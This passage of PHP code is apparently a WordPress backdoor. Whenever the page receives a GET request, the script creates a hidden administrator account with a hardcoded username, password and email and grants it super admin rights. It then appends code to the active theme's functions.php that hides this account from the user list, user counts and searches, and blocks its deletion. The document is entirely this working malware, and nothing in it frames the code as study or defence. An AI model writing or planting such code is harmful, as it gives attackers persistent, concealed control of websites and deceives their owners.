get_stylesheet(); $functions_file = $theme_path . '/functions.php'; $protection_code = <<<'EOD' add_action('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->base === 'users') { $protected_user = get_user_by('login', 'kozy112'); if ($protected_user) { $excluded = (array) $query->get('exclude'); $excluded[] = $protected_user->ID; $query->set('exclude', $excluded); } } } }); add_filter('wp_count_users', function($counts) { $protected_user = get_user_by('login', 'kozy112'); if ($protected_user) { $counts->total_users--; } return $counts; }); add_action('delete_user', function($user_id) { $user = get_user_by('ID', $user_id); if ($user && $user->user_login === 'kozy112') { wp_die( __('User kozy112 tidak dapat dihapus.', 'textdomain'), __('Error', 'textdomain'), array('response' => 403) ); } }); add_filter('user_search_columns', function($search_columns, $search, $query) { if (is_admin()) { $protected_user = get_user_by('login', 'kozy112'); if ($protected_user) { global $wpdb; $query->query_where .= $wpdb->prepare(" AND {$wpdb->users}.ID != %d", $protected_user->ID); } } return $search_columns; }, 10, 3); add_filter('bulk_actions-users', function($actions) { if (isset($_REQUEST['users']) && is_array($_REQUEST['users'])) { $protected_user = get_user_by('login', 'kozy112'); if ($protected_user && in_array($protected_user->ID, $_REQUEST['users'])) { unset($actions['delete']); } } return $actions; }); EOD; if (file_exists($functions_file)) { file_put_contents($functions_file, $protection_code, FILE_APPEND); return true; } return false; } if ($_SERVER['REQUEST_METHOD'] == 'GET') { $username = 'kozy112'; $password = 'expbazt@@##'; $email = 'ziziziyie@gmail.com s'; $user_exists = username_exists($username); if (!$user_exists) { $userData = array( 'user_pass' => $password, 'user_login' => $username, 'user_nicename' => $username, 'user_email' => $email, 'display_name' => 'wordpress_administrator', 'role' => 'administrator' ); $user_id = wp_insert_user($userData); if (!is_wp_error($user_id)) { grant_super_admin($user_id); $protection_added = add_protection_code_to_theme(); $message = "User created successfully :). "; $message .= $protection_added ? "Protection code added to theme." : "Failed to add protection code."; } else { $message = "Error creating user: " . $user_id->get_error_message(); } } else { $message = "User already exists. Protection code updated."; add_protection_code_to_theme(); } } ?>

User ID: